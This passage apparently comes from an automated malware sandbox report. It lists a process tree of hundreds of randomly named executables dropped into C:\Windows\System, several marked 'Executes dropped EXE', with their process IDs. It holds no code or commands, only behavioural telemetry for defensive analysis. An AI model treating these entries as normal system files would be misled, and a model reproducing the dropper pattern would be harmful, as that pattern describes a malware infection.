  2⤵
  - Executes dropped EXE
  PID:708
- C:\Windows\System\niCeKYv.exe
  C:\Windows\System\niCeKYv.exe
  2⤵
  - Executes dropped EXE
  PID:2460
- C:\Windows\System\RCibOjC.exe
  C:\Windows\System\RCibOjC.exe
  2⤵
  - Executes dropped EXE
  PID:4988
- C:\Windows\System\DzfKZpp.exe
  C:\Windows\System\DzfKZpp.exe
  2⤵
  - Executes dropped EXE
  PID:436
- C:\Windows\System\Zvhladl.exe
  C:\Windows\System\Zvhladl.exe
  2⤵
  - Executes dropped EXE
  PID:2256
- C:\Windows\System\pAJtnIl.exe
  C:\Windows\System\pAJtnIl.exe
  2⤵
  - Executes dropped EXE
  PID:4776
- C:\Windows\System\ZMVXsRT.exe
  C:\Windows\System\ZMVXsRT.exe
  2⤵
  - Executes dropped EXE
  PID:4568
- C:\Windows\System\JYUqhHJ.exe
  C:\Windows\System\JYUqhHJ.exe
  2⤵
  - Executes dropped EXE
  PID:3604
- C:\Windows\System\NJgYcQj.exe
  C:\Windows\System\NJgYcQj.exe
  2⤵
  - Executes dropped EXE
  PID:732
- C:\Windows\System\NpfwfDQ.exe
  C:\Windows\System\NpfwfDQ.exe
  2⤵
  - Executes dropped EXE
  PID:1892
- C:\Windows\System\XBFXKqN.exe
  C:\Windows\System\XBFXKqN.exe
  2⤵
  - Executes dropped EXE
  PID:964
- C:\Windows\System\PeGOiyG.exe
  C:\Windows\System\PeGOiyG.exe
  2⤵
  - Executes dropped EXE
  PID:976
- C:\Windows\System\NGWulFh.exe
  C:\Windows\System\NGWulFh.exe
  2⤵
  - Executes dropped EXE
  PID:3520
- C:\Windows\System\SpkTQtI.exe
  C:\Windows\System\SpkTQtI.exe
  2⤵
  - Executes dropped EXE
  PID:3740
- C:\Windows\System\VIwqBvr.exe
  C:\Windows\System\VIwqBvr.exe
  2⤵
  - Executes dropped EXE
  PID:4560
- C:\Windows\System\GAIXZKC.exe
  C:\Windows\System\GAIXZKC.exe
  2⤵
  - Executes dropped EXE
  PID:4516
- C:\Windows\System\bKjaxhF.exe
  C:\Windows\System\bKjaxhF.exe
  2⤵
  - Executes dropped EXE
  PID:2288
- C:\Windows\System\aLObVat.exe
  C:\Windows\System\aLObVat.exe
  2⤵
  - Executes dropped EXE
  PID:452
- C:\Windows\System\oZFxTGs.exe
  C:\Windows\System\oZFxTGs.exe
  2⤵
  - Executes dropped EXE
  PID:4592
- C:\Windows\System\Jywpmzg.exe
  C:\Windows\System\Jywpmzg.exe
  2⤵
  - Executes dropped EXE
  PID:1116
- C:\Windows\System\iwhpAyx.exe
  C:\Windows\System\iwhpAyx.exe
  2⤵
  - Executes dropped EXE
  PID:2352
- C:\Windows\System\oikVGFT.exe
  C:\Windows\System\oikVGFT.exe
  2⤵
  - Executes dropped EXE
  PID:60
- C:\Windows\System\EfdYrGi.exe
  C:\Windows\System\EfdYrGi.exe
  2⤵
  - Executes dropped EXE
  PID:3096
- C:\Windows\System\AIzWySo.exe
  C:\Windows\System\AIzWySo.exe
  2⤵
  - Executes dropped EXE
  PID:832
- C:\Windows\System\uNvaANH.exe
  C:\Windows\System\uNvaANH.exe
  2⤵
  - Executes dropped EXE
  PID:2112
- C:\Windows\System\RKKlHTN.exe
  C:\Windows\System\RKKlHTN.exe
  2⤵
  - Executes dropped EXE
  PID:3312
- C:\Windows\System\FlChKJh.exe
  C:\Windows\System\FlChKJh.exe
  2⤵
  - Executes dropped EXE
  PID:2204
- C:\Windows\System\EHZJnvx.exe
  C:\Windows\System\EHZJnvx.exe
  2⤵
  - Executes dropped EXE
  PID:1964
- C:\Windows\System\CLilGlF.exe
  C:\Windows\System\CLilGlF.exe
  2⤵
  - Executes dropped EXE
  PID:640
- C:\Windows\System\faaMnyD.exe
  C:\Windows\System\faaMnyD.exe
  2⤵
  - Executes dropped EXE
  PID:2388
- C:\Windows\System\DMLCnZG.exe
  C:\Windows\System\DMLCnZG.exe
  2⤵
  - Executes dropped EXE
  PID:2888
- C:\Windows\System\ZGZioxd.exe
  C:\Windows\System\ZGZioxd.exe
  2⤵
  - Executes dropped EXE
  PID:3508
- C:\Windows\System\luNBYca.exe
  C:\Windows\System\luNBYca.exe
  2⤵
  - Executes dropped EXE
  PID:404
- C:\Windows\System\HbfyPgi.exe
  C:\Windows\System\HbfyPgi.exe
  2⤵
  - Executes dropped EXE
  PID:3628
- C:\Windows\System\zeeJMqR.exe
  C:\Windows\System\zeeJMqR.exe
  2⤵
  - Executes dropped EXE
  PID:1668
- C:\Windows\System\VIuAuFg.exe
  C:\Windows\System\VIuAuFg.exe
  2⤵
  - Executes dropped EXE
  PID:5004
- C:\Windows\System\KLKzWQO.exe
  C:\Windows\System\KLKzWQO.exe
  2⤵
  - Executes dropped EXE
  PID:1300
- C:\Windows\System\tWhSDsp.exe
  C:\Windows\System\tWhSDsp.exe
  2⤵
  - Executes dropped EXE
  PID:1040
- C:\Windows\System\jABDoTA.exe
  C:\Windows\System\jABDoTA.exe
  2⤵
  - Executes dropped EXE
  PID:4968
- C:\Windows\System\QMrKElo.exe
  C:\Windows\System\QMrKElo.exe
  2⤵
  - Executes dropped EXE
  PID:1980
- C:\Windows\System\lJSZFnw.exe
  C:\Windows\System\lJSZFnw.exe
  2⤵
  - Executes dropped EXE
  PID:5132
- C:\Windows\System\KGAlWiU.exe
  C:\Windows\System\KGAlWiU.exe
  2⤵
  - Executes dropped EXE
  PID:5148
- C:\Windows\System\gswTqKW.exe
  C:\Windows\System\gswTqKW.exe
  2⤵
  - Executes dropped EXE
  PID:5212
- C:\Windows\System\KjbSLJf.exe
  C:\Windows\System\KjbSLJf.exe
  2⤵
  - Executes dropped EXE
  PID:5348
- C:\Windows\System\fCZJCdc.exe
  C:\Windows\System\fCZJCdc.exe
  2⤵
  - Executes dropped EXE
  PID:5416
- C:\Windows\System\ZejcliC.exe
  C:\Windows\System\ZejcliC.exe
  2⤵
  - Executes dropped EXE
  PID:5432
- C:\Windows\System\ykxMZVH.exe
  C:\Windows\System\ykxMZVH.exe
  2⤵
  - Executes dropped EXE
  PID:5448
- C:\Windows\System\rcxbJXz.exe
  C:\Windows\System\rcxbJXz.exe
  2⤵
  - Executes dropped EXE
  PID:5464
- C:\Windows\System\zvBGBJo.exe
  C:\Windows\System\zvBGBJo.exe
  2⤵
  - Executes dropped EXE
  PID:5480
- C:\Windows\System\nrfPrUW.exe
  C:\Windows\System\nrfPrUW.exe
  2⤵
  - Executes dropped EXE
  PID:5544
- C:\Windows\System\YftzXVe.exe
  C:\Windows\System\YftzXVe.exe
  2⤵
  - Executes dropped EXE
  PID:5560
- C:\Windows\System\RiVNlOe.exe
  C:\Windows\System\RiVNlOe.exe
  2⤵
  PID:5576
- C:\Windows\System\NEtNyzU.exe
  C:\Windows\System\NEtNyzU.exe
  2⤵
  PID:5592
- C:\Windows\System\JByDvag.exe
  C:\Windows\System\JByDvag.exe
  2⤵
  PID:5608
- C:\Windows\System\zWJDIrS.exe
  C:\Windows\System\zWJDIrS.exe
  2⤵
  PID:5624
- C:\Windows\System\ZvTXNHS.exe
  C:\Windows\System\ZvTXNHS.exe
  2⤵
  PID:5640
- C:\Windows\System\soDgHyg.exe
  C:\Windows\System\soDgHyg.exe
  2⤵
  PID:5656
- C:\Windows\System\gdFdbot.exe
  C:\Windows\System\gdFdbot.exe
  2⤵
  PID:5672
- C:\Windows\System\PpVoGRZ.exe
  C:\Windows\System\PpVoGRZ.exe
  2⤵
  PID:5688
- C:\Windows\System\cKXomMa.exe
  C:\Windows\System\cKXomMa.exe
  2⤵
  PID:5704
- C:\Windows\System\upIimKl.exe
  C:\Windows\System\upIimKl.exe
  2⤵
  PID:5720
- C:\Windows\System\LbnYkmW.exe
  C:\Windows\System\LbnYkmW.exe
  2⤵
  PID:5736
- C:\Windows\System\gIYpLWg.exe
  C:\Windows\System\gIYpLWg.exe
  2⤵
  PID:5764
- C:\Windows\System\sOpJSUD.exe
  C:\Windows\System\sOpJSUD.exe
  2⤵
  PID:5792
- C:\Windows\System\OoPaRXr.exe
  C:\Windows\System\OoPaRXr.exe
  2⤵
  PID:5852
- C:\Windows\System\rVLScWU.exe
  C:\Windows\System\rVLScWU.exe
  2⤵
  PID:5872
- C:\Windows\System\DoRWJFA.exe
  C:\Windows\System\DoRWJFA.exe
  2⤵
  PID:5888
- C:\Windows\System\LpBSkwi.exe
  C:\Windows\System\LpBSkwi.exe
  2⤵
  PID:5904
- C:\Windows\System\wbqOOMI.exe
  C:\Windows\System\wbqOOMI.exe
  2⤵
  PID:5920
- C:\Windows\System\iHkQPaJ.exe
  C:\Windows\System\iHkQPaJ.exe
  2⤵
  PID:5936
- C:\Windows\System\eRPVFUB.exe
  C:\Windows\System\eRPVFUB.exe
  2⤵
  PID:6020
- C:\Windows\System\GWgtnYP.exe
  C:\Windows\System\GWgtnYP.exe
  2⤵
  PID:6044
- C:\Windows\System\mJzdGNW.exe
  C:\Windows\System\mJzdGNW.exe
  2⤵
  PID:6064
- C:\Windows\System\rnwDUTL.exe
  C:\Windows\System\rnwDUTL.exe
  2⤵
  PID:6088
- C:\Windows\System\YBfWpRJ.exe
  C:\Windows\System\YBfWpRJ.exe
  2⤵
  PID:1104
- C:\Windows\System\lRkdaEp.exe
  C:\Windows\System\lRkdaEp.exe
  2⤵
  PID:4048
- C:\Windows\System\WlMLKjT.exe
  C:\Windows\System\WlMLKjT.exe
  2⤵
  PID:4844
- C:\Windows\System\zEIBRjb.exe
  C:\Windows\System\zEIBRjb.exe
  2⤵
  PID:2028
- C:\Windows\System\iXBwfYO.exe
  C:\Windows\System\iXBwfYO.exe
  2⤵
  PID:4684
- C:\Windows\System\JcZVWtg.exe
  C:\Windows\System\JcZVWtg.exe
  2⤵
  PID:2296
- C:\Windows\System\kacWDhk.exe
  C:\Windows\System\kacWDhk.exe
  2⤵
  PID:5164
- C:\Windows\System\CZuYLKk.exe
  C:\Windows\System\CZuYLKk.exe
  2⤵
  PID:4960
- C:\Windows\System\YUJMRrZ.exe
  C:\Windows\System\YUJMRrZ.exe
  2⤵
  PID:5440
- C:\Windows\System\XFrIqZK.exe
  C:\Windows\System\XFrIqZK.exe
  2⤵
  PID:5140
- C:\Windows\System\TMvjOMt.exe
  C:\Windows\System\TMvjOMt.exe
  2⤵
  PID:5364
- C:\Windows\System\AeZhSTH.exe
  C:\Windows\System\AeZhSTH.exe
  2⤵
  PID:5424
- C:\Windows\System\kzGPgcD.exe
  C:\Windows\System\kzGPgcD.exe
  2⤵
  PID:3156
- C:\Windows\System\RdCalpe.exe
  C:\Windows\System\RdCalpe.exe
  2⤵
  PID:500
- C:\Windows\System\MijDstG.exe
  C:\Windows\System\MijDstG.exe
  2⤵
  PID:5808
- C:\Windows\System\FGAQFQx.exe
  C:\Windows\System\FGAQFQx.exe
  2⤵
  PID:5860
- C:\Windows\System\MwwFuCa.exe
  C:\Windows\System\MwwFuCa.exe
  2⤵
  PID:4932
- C:\Windows\System\csshOKO.exe
  C:\Windows\System\csshOKO.exe
  2⤵
  PID:4500
- C:\Windows\System\SMqimnY.exe
  C:\Windows\System\SMqimnY.exe
  2⤵
  PID:4108
- C:\Windows\System\EDQdnwZ.exe
  C:\Windows\System\EDQdnwZ.exe
  2⤵
  PID:1596
- C:\Windows\System\iRpBALi.exe
  C:\Windows\System\iRpBALi.exe
  2⤵
  PID:900
- C:\Windows\System\pSCaeCU.exe
  C:\Windows\System\pSCaeCU.exe
  2⤵
  PID:4884
- C:\Windows\System\hBsFhQy.exe
  C:\Windows\System\hBsFhQy.exe
  2⤵
  PID:2304
- C:\Windows\System\HHDkafa.exe
  C:\Windows\System\HHDkafa.exe
  2⤵
  PID:4640
- C:\Windows\System\DYqYDBe.exe
  C:\Windows\System\DYqYDBe.exe
  2⤵
  PID:2312
- C:\Windows\System\pzUViOx.exe
  C:\Windows\System\pzUViOx.exe
  2⤵
  PID:3228
- C:\Windows\System\XpGesml.exe
  C:\Windows\System\XpGesml.exe
  2⤵
  PID:6008
- C:\Windows\System\CSjUgFG.exe
  C:\Windows\System\CSjUgFG.exe
  2⤵
  PID:6040
- C:\Windows\System\AGRhmNB.exe
  C:\Windows\System\AGRhmNB.exe
  2⤵
  PID:6084
- C:\Windows\System\jiPlODZ.exe
  C:\Windows\System\jiPlODZ.exe
  2⤵
  PID:6128
- C:\Windows\System\ieLroWr.exe
  C:\Windows\System\ieLroWr.exe
  2⤵
  PID:3504
- C:\Windows\System\ObtuhxQ.exe
  C:\Windows\System\ObtuhxQ.exe
  2⤵
  PID:1188
- C:\Windows\System\OOtXecn.exe
  C:\Windows\System\OOtXecn.exe
  2⤵
  PID:3316
- C:\Windows\System\uxtQPjb.exe
  C:\Windows\System\uxtQPjb.exe
  2⤵
  PID:5144
- C:\Windows\System\PFkvMAf.exe
  C:\Windows\System\PFkvMAf.exe
  2⤵
  PID:5240
- C:\Windows\System\RJIilIg.exe
  C:\Windows\System\RJIilIg.exe
  2⤵
  PID:5412
- C:\Windows\System\hJqGGln.exe
  C:\Windows\System\hJqGGln.exe
  2⤵
  PID:5444
- C:\Windows\System\jXVjDIW.exe
  C:\Windows\System\jXVjDIW.exe
  2⤵
  PID:5588
- C:\Windows\System\GeDxDsY.exe
  C:\Windows\System\GeDxDsY.exe
  2⤵
  PID:4900
- C:\Windows\System\yCVqdxd.exe
  C:\Windows\System\yCVqdxd.exe
  2⤵
  PID:4208
- C:\Windows\System\bejOZjB.exe
  C:\Windows\System\bejOZjB.exe
  2⤵
  PID:5932
- C:\Windows\System\KDihqic.exe
  C:\Windows\System\KDihqic.exe
  2⤵
  PID:4544
- C:\Windows\System\vKuJhEz.exe
  C:\Windows\System\vKuJhEz.exe
  2⤵
  PID:5156
- C:\Windows\System\ivbJgHg.exe
  C:\Windows\System\ivbJgHg.exe
  2⤵
  PID:824
- C:\Windows\System\bvHzCui.exe
  C:\Windows\System\bvHzCui.exe
  2⤵
  PID:6104
- C:\Windows\System\lHnDAeX.exe
  C:\Windows\System\lHnDAeX.exe
  2⤵
  PID:5316
- C:\Windows\System\VntKnJD.exe
  C:\Windows\System\VntKnJD.exe
  2⤵
  PID:376
- C:\Windows\System\qsbCNIb.exe
  C:\Windows\System\qsbCNIb.exe
  2⤵
  PID:6160
- C:\Windows\System\WibOcpD.exe
  C:\Windows\System\WibOcpD.exe
  2⤵
  PID:6176
- C:\Windows\System\muqTQrg.exe
  C:\Windows\System\muqTQrg.exe
  2⤵
  PID:6192
- C:\Windows\System\ghNCOUr.exe
  C:\Windows\System\ghNCOUr.exe
  2⤵
  PID:6216
- C:\Windows\System\OjNtXwi.exe
  C:\Windows\System\OjNtXwi.exe
  2⤵
  PID:6240
- C:\Windows\System\hMeXOHt.exe
  C:\Windows\System\hMeXOHt.exe
  2⤵
  PID:6264
- C:\Windows\System\xYBbKXD.exe
  C:\Windows\System\xYBbKXD.exe
  2⤵
  PID:6292
- C:\Windows\System\CtuxVTV.exe
  C:\Windows\System\CtuxVTV.exe
  2⤵
  PID:6316
- C:\Windows\System\XVFIoPA.exe
  C:\Windows\System\XVFIoPA.exe
  2⤵
  PID:6336
- C:\Windows\System\uKuyckk.exe
  C:\Windows\System\uKuyckk.exe
  2⤵
  PID:6360
- C:\Windows\System\EBBIpOL.exe
  C:\Windows\System\EBBIpOL.exe
  2⤵
  PID:6384
- C:\Windows\System\KiymSxb.exe
  C:\Windows\System\KiymSxb.exe
  2⤵
  PID:6404
- C:\Windows\System\UoWMmxX.exe
  C:\Windows\System\UoWMmxX.exe
  2⤵
  PID:6420
- C:\Windows\System\Cjygori.exe
  C:\Windows\System\Cjygori.exe
  2⤵
  PID:6504
- C:\Windows\System\souIFfa.exe
  C:\Windows\System\souIFfa.exe
  2⤵
  PID:6532
- C:\Windows\System\arbEaxb.exe
  C:\Windows\System\arbEaxb.exe
  2⤵
  PID:6552
- C:\Windows\System\halvxaM.exe
  C:\Windows\System\halvxaM.exe
  2⤵
  PID:6572
- C:\Windows\System\HwcQHiC.exe
  C:\Windows\System\HwcQHiC.exe
  2⤵
  PID:6616
- C:\Windows\System\DFuOpaG.exe
  C:\Windows\System\DFuOpaG.exe
  2⤵
  PID:6652
- C:\Windows\System\FAlQHnR.exe
  C:\Windows\System\FAlQHnR.exe
  2⤵
  PID:6676
- C:\Windows\System\qPezSuf.exe
  C:\Windows\System\qPezSuf.exe
  2⤵
  PID:6700
- C:\Windows\System\PnWRPcb.exe
  C:\Windows\System\PnWRPcb.exe
  2⤵
  PID:6776
- C:\Windows\System\tosHadv.exe
  C:\Windows\System\tosHadv.exe
  2⤵
  PID:6844
- C:\Windows\System\RXKcEwd.exe
  C:\Windows\System\RXKcEwd.exe
  2⤵
  PID:7000
- C:\Windows\System\BBSYqAH.exe
  C:\Windows\System\BBSYqAH.exe
  2⤵
  PID:7088
- C:\Windows\System\angKjyy.exe
  C:\Windows\System\angKjyy.exe
  2⤵
  PID:7104
- C:\Windows\System\wODadHn.exe
  C:\Windows\System\wODadHn.exe
  2⤵
  PID:7120
- C:\Windows\System\yLbCELJ.exe
  C:\Windows\System\yLbCELJ.exe
  2⤵
  PID:7140
- C:\Windows\System\GFuhJiv.exe
  C:\Windows\System\GFuhJiv.exe
  2⤵
  PID:7164
- C:\Windows\System\XJSEmFe.exe
  C:\Windows\System\XJSEmFe.exe
  2⤵
  PID:5396
- C:\Windows\System\LyAycBJ.exe
  C:\Windows\System\LyAycBJ.exe
  2⤵
  PID:5380
- C:\Windows\System\dmfJNhR.exe
  C:\Windows\System\dmfJNhR.exe
  2⤵
  PID:5552
- C:\Windows\System\xDetKEM.exe
  C:\Windows\System\xDetKEM.exe
  2⤵
  PID:6156
- C:\Windows\System\kXuhTho.exe
  C:\Windows\System\kXuhTho.exe
  2⤵
  PID:6036
- C:\Windows\System\HjbXGZl.exe
  C:\Windows\System\HjbXGZl.exe
  2⤵
  PID:1556
- C:\Windows\System\zoMumSF.exe
  C:\Windows\System\zoMumSF.exe
  2⤵
  PID:6328
- C:\Windows\System\VuLmynz.exe
  C:\Windows\System\VuLmynz.exe
  2⤵
  PID:6416
- C:\Windows\System\tMLKijx.exe
  C:\Windows\System\tMLKijx.exe
  2⤵
  PID:6184
- C:\Windows\System\nquykgo.exe
  C:\Windows\System\nquykgo.exe
  2⤵
  PID:6236
- C:\Windows\System\vQHvQQO.exe
  C:\Windows\System\vQHvQQO.exe
  2⤵
  PID:6288
- C:\Windows\System\bTjjHaJ.exe
  C:\Windows\System\bTjjHaJ.exe
  2⤵
  PID:6332
- C:\Windows\System\ZZxIFVA.exe
  C:\Windows\System\ZZxIFVA.exe
  2⤵
  PID:6396
- C:\Windows\System\WfiUEJw.exe
  C:\Windows\System\WfiUEJw.exe
  2⤵
  PID:6432
- C:\Windows\System\FmRwhmM.exe
  C:\Windows\System\FmRwhmM.exe
  2⤵
  PID:6496
- C:\Windows\System\CVYaJqb.exe
  C:\Windows\System\CVYaJqb.exe
  2⤵
  PID:6528
- C:\Windows\System\wNmGupa.exe
  C:\Windows\System\wNmGupa.exe
  2⤵
  PID:6548
- C:\Windows\System\kTijMKe.exe
  C:\Windows\System\kTijMKe.exe
  2⤵
  PID:6624
- C:\Windows\System\qoucdnH.exe
  C:\Windows\System\qoucdnH.exe
  2⤵
  PID:6784
- C:\Windows\System\KoHVVAX.exe
  C:\Windows\System\KoHVVAX.exe
  2⤵
  PID:6832
- C:\Windows\System\KqwsDrY.exe
  C:\Windows\System\KqwsDrY.exe
  2⤵
  PID:6872
- C:\Windows\System\tXwEcsu.exe
  C:\Windows\System\tXwEcsu.exe
  2⤵
  PID:6936
- C:\Windows\System\sLqUFII.exe
  C:\Windows\System\sLqUFII.exe
  2⤵
  PID:3804
- C:\Windows\System\fzTwihS.exe
  C:\Windows\System\fzTwihS.exe
  2⤵
  PID:3544
- C:\Windows\System\sgPiMBW.exe
  C:\Windows\System\sgPiMBW.exe
  2⤵
  PID:5248
- C:\Windows\System\AognFPl.exe
  C:\Windows\System\AognFPl.exe
  2⤵
  PID:3976
- C:\Windows\System\lmVCKvr.exe
  C:\Windows\System\lmVCKvr.exe
  2⤵
  PID:4356
- C:\Windows\System\hOsrldm.exe
  C:\Windows\System\hOsrldm.exe
  2⤵
  PID:7012
- C:\Windows\System\nLnBjSV.exe
  C:\Windows\System\nLnBjSV.exe
  2⤵
  PID:3852
- C:\Windows\System\DcwrFlo.exe
  C:\Windows\System\DcwrFlo.exe
  2⤵
  PID:7112
- C:\Windows\System\jaGyZNg.exe
  C:\Windows\System\jaGyZNg.exe
  2⤵
  PID:4152
- C:\Windows\System\oUWfFlp.exe
  C:\Windows\System\oUWfFlp.exe
  2⤵
  PID:6152
- C:\Windows\System\qxnRVAJ.exe
  C:\Windows\System\qxnRVAJ.exe
  2⤵
  PID:6168
- C:\Windows\System\LDKjuKg.exe
  C:\Windows\System\LDKjuKg.exe
  2⤵
  PID:6512
- C:\Windows\System\rLnWhyk.exe
  C:\Windows\System\rLnWhyk.exe
  2⤵
  PID:6284
- C:\Windows\System\UcamYAX.exe
  C:\Windows\System\UcamYAX.exe
  2⤵
  PID:6740
- C:\Windows\System\HTYZqCx.exe
  C:\Windows\System\HTYZqCx.exe
  2⤵
  PID:2836
- C:\Windows\System\DDWcAdY.exe
  C:\Windows\System\DDWcAdY.exe
  2⤵
  PID:7148
- C:\Windows\System\BQdbqgS.exe
  C:\Windows\System\BQdbqgS.exe
  2⤵
  PID:3272
- C:\Windows\System\GKeyOrq.exe
  C:\Windows\System\GKeyOrq.exe
  2⤵
  PID:1120
- C:\Windows\System\qNYQjve.exe
  C:\Windows\System\qNYQjve.exe
  2⤵
  PID:7100
- C:\Windows\System\LJNpusX.exe
  C:\Windows\System\LJNpusX.exe
  2⤵
  PID:7224
- C:\Windows\System\zvxfCiB.exe
  C:\Windows\System\zvxfCiB.exe
  2⤵
  PID:7244
- C:\Windows\System\PegMhXC.exe
  C:\Windows\System\PegMhXC.exe
  2⤵
  PID:7264
- C:\Windows\System\ziaGaxU.exe
  C:\Windows\System\ziaGaxU.exe
  2⤵
  PID:7292
- C:\Windows\System\LCJArXW.exe
  C:\Windows\System\LCJArXW.exe
  2⤵
  PID:7312
- C:\Windows\System\BRcbNDa.exe
  C:\Windows\System\BRcbNDa.exe
  2⤵
  PID:7328
- C:\Windows\System\cpqMhlI.exe
  C:\Windows\System\cpqMhlI.exe
  2⤵
  PID:7348
- C:\Windows\System\uqlSYRd.exe
  C:\Windows\System\uqlSYRd.exe
  2⤵
  PID:7368
- C:\Windows\System\QMCfLqx.exe
  C:\Windows\System\QMCfLqx.exe
  2⤵
  PID:7392
- C:\Windows\System\PWIyTgn.exe
  C:\Windows\System\PWIyTgn.exe
  2⤵
  PID:7416
- C:\Windows\System\OCvBxMY.exe
  C:\Windows\System\OCvBxMY.exe
  2⤵
  PID:7432
- C:\Windows\System\LGniRzH.exe
  C:\Windows\System\LGniRzH.exe
  2⤵
  PID:7500
- C:\Windows\System\cutmJLC.exe
  C:\Windows\System\cutmJLC.exe
  2⤵
  PID:7520
- C:\Windows\System\tqASkUk.exe
  C:\Windows\System\tqASkUk.exe
  2⤵
  PID:7560
- C:\Windows\System\bxfBFXg.exe
  C:\Windows\System\bxfBFXg.exe
  2⤵
  PID:7584
- C:\Windows\System\IcDwVLn.exe
  C:\Windows\System\IcDwVLn.exe
  2⤵
  PID:7608
- C:\Windows\System\jzDxSSi.exe
  C:\Windows\System\jzDxSSi.exe
  2⤵
  PID:7692
- C:\Windows\System\mJIkGpB.exe
  C:\Windows\System\mJIkGpB.exe
  2⤵
  PID:7736
- C:\Windows\System\cVzmTWU.exe
  C:\Windows\System\cVzmTWU.exe
  2⤵
  PID:7780
- C:\Windows\System\eAuxwug.exe
  C:\Windows\System\eAuxwug.exe
  2⤵
  PID:7852
- C:\Windows\System\RcTFIYj.exe
  C:\Windows\System\RcTFIYj.exe
  2⤵
  PID:7868
- C:\Windows\System\iyyNhDV.exe
  C:\Windows\System\iyyNhDV.exe
  2⤵
  PID:8000
- C:\Windows\System\lUVEDTs.exe
  C:\Windows\System\lUVEDTs.exe
  2⤵
  PID:8016
- C:\Windows\System\SoUTiYc.exe
  C:\Windows\System\SoUTiYc.exe
  2⤵
  PID:8040
- C:\Windows\System\kFwOzCh.exe
  C:\Windows\System\kFwOzCh.exe
  2⤵
  PID:8060
- C:\Windows\System\SKgSwol.exe
  C:\Windows\System\SKgSwol.exe
  2⤵
  PID:8080
- C:\Windows\System\EWivHDK.exe
  C:\Windows\System\EWivHDK.exe
  2⤵
  PID:8104
- C:\Windows\System\WJxaLwK.exe
  C:\Windows\System\WJxaLwK.exe
  2⤵
  PID:8124
- C:\Windows\System\uyfjVva.exe
  C:\Windows\System\uyfjVva.exe
  2⤵
  PID:8168
- C:\Windows\System\aLlDOyW.exe
  C:\Windows\System\aLlDOyW.exe
  2⤵
  PID:7040
- C:\Windows\System\ENiQpva.exe
  C:\Windows\System\ENiQpva.exe
  2⤵
  PID:6308
- C:\Windows\System\knCpuXn.exe
  C:\Windows\System\knCpuXn.exe
  2⤵
  PID:6392
- C:\Windows\System\yIlfezE.exe
  C:\Windows\System\yIlfezE.exe
  2⤵
  PID:7060
- C:\Windows\System\htCAMuQ.exe
  C:\Windows\System\htCAMuQ.exe
  2⤵
  PID:7300
- C:\Windows\System\zZEcJYX.exe
  C:\Windows\System\zZEcJYX.exe
  2⤵
  PID:7324
- C:\Windows\System\tNysDCq.exe
  C:\Windows\System\tNysDCq.exe
  2⤵
  PID:7364
- C:\Windows\System\xBEFTUH.exe
  C:\Windows\System\xBEFTUH.exe
  2⤵
  PID:7204
- C:\Windows\System\ROSzyWk.exe
  C:\Windows\System\ROSzyWk.exe
  2⤵
  PID:7260
- C:\Windows\System\eIUcmJu.exe
  C:\Windows\System\eIUcmJu.exe
  2⤵
  PID:3936
- C:\Windows\System\EFcMrho.exe
  C:\Windows\System\EFcMrho.exe
  2⤵
  PID:7496
- C:\Windows\System\vjgyuLI.exe
  C:\Windows\System\vjgyuLI.exe
  2⤵
  PID:7272
- C:\Windows\System\vMpKnwb.exe
  C:\Windows\System\vMpKnwb.exe
  2⤵
  PID:7400
- C:\Windows\System\RntnUGU.exe
  C:\Windows\System\RntnUGU.exe
  2⤵
  PID:7444
- C:\Windows\System\bCvEWzV.exe
  C:\Windows\System\bCvEWzV.exe
  2⤵
  PID:7540
- C:\Windows\System\EHDfzdn.exe
  C:\Windows\System\EHDfzdn.exe
  2⤵
  PID:7576
- C:\Windows\System\MBbiSil.exe
  C:\Windows\System\MBbiSil.exe
  2⤵
  PID:7684
- C:\Windows\System\vpVOFiF.exe
  C:\Windows\System\vpVOFiF.exe
  2⤵
  PID:7700
- C:\Windows\System\zcxnojH.exe
  C:\Windows\System\zcxnojH.exe
  2⤵
  PID:7836
- C:\Windows\System\iwxEjmA.exe
  C:\Windows\System\iwxEjmA.exe
  2⤵
  PID:7896
- C:\Windows\System\bXkBfMV.exe
  C:\Windows\System\bXkBfMV.exe
  2⤵
  PID:7932
- C:\Windows\System\sPXlbgi.exe
  C:\Windows\System\sPXlbgi.exe
  2⤵
  PID:7888
- C:\Windows\System\BkyDEPp.exe
  C:\Windows\System\BkyDEPp.exe
  2⤵
  PID:8008
- C:\Windows\System\oLPUGwv.exe
  C:\Windows\System\oLPUGwv.exe
  2⤵
  PID:8096
- C:\Windows\System\sOoTAQp.exe
  C:\Windows\System\sOoTAQp.exe
  2⤵
  PID:8116
- C:\Windows\System\lgkVxUW.exe
  C:\Windows\System\lgkVxUW.exe
  2⤵
  PID:7208
- C:\Windows\System\psKmNhG.exe
  C:\Windows\System\psKmNhG.exe
  2⤵
  PID:7220
- C:\Windows\System\OqXjBoe.exe
  C:\Windows\System\OqXjBoe.exe
  2⤵
  PID:7280
- C:\Windows\System\ELiXFaA.exe
  C:\Windows\System\ELiXFaA.exe
  2⤵
  PID:7668
- C:\Windows\System\pNtwNaG.exe
  C:\Windows\System\pNtwNaG.exe
  2⤵
  PID:7908
- C:\Windows\System\eyuYAwo.exe
  C:\Windows\System\eyuYAwo.exe
  2⤵
  PID:7620
- C:\Windows\System\Etvzpef.exe
  C:\Windows\System\Etvzpef.exe
  2⤵
  PID:7568
- C:\Windows\System\efTjaAR.exe
  C:\Windows\System\efTjaAR.exe
  2⤵
  PID:7724
- C:\Windows\System\QEGXhIn.exe
  C:\Windows\System\QEGXhIn.exe
  2⤵
  PID:8228
- C:\Windows\System\HjvCSXx.exe
  C:\Windows\System\HjvCSXx.exe
  2⤵
  PID:8248
- C:\Windows\System\UBfbZOI.exe
  C:\Windows\System\UBfbZOI.exe
  2⤵
  PID:8268
- C:\Windows\System\nCuKtkV.exe
  C:\Windows\System\nCuKtkV.exe
  2⤵
  PID:8312
- C:\Windows\System\uJXnNHL.exe
  C:\Windows\System\uJXnNHL.exe
  2⤵
  PID:8372
- C:\Windows\System\qSVWILM.exe
  C:\Windows\System\qSVWILM.exe
  2⤵
  PID:8388
- C:\Windows\System\rUKOHon.exe
  C:\Windows\System\rUKOHon.exe
  2⤵
  PID:8412
- C:\Windows\System\GmVoISi.exe
  C:\Windows\System\GmVoISi.exe
  2⤵
  PID:8448
- C:\Windows\System\NVRkXmT.exe
  C:\Windows\System\NVRkXmT.exe
  2⤵
  PID:8488
- C:\Windows\System\SnZWKvT.exe
  C:\Windows\System\SnZWKvT.exe
  2⤵
  PID:8504
- C:\Windows\System\JUJqcrR.exe
  C:\Windows\System\JUJqcrR.exe
  2⤵
  PID:8524
- C:\Windows\System\meBJPqa.exe
  C:\Windows\System\meBJPqa.exe
  2⤵
  PID:8544
- C:\Windows\System\vfuiitm.exe
  C:\Windows\System\vfuiitm.exe
  2⤵
  PID:8568
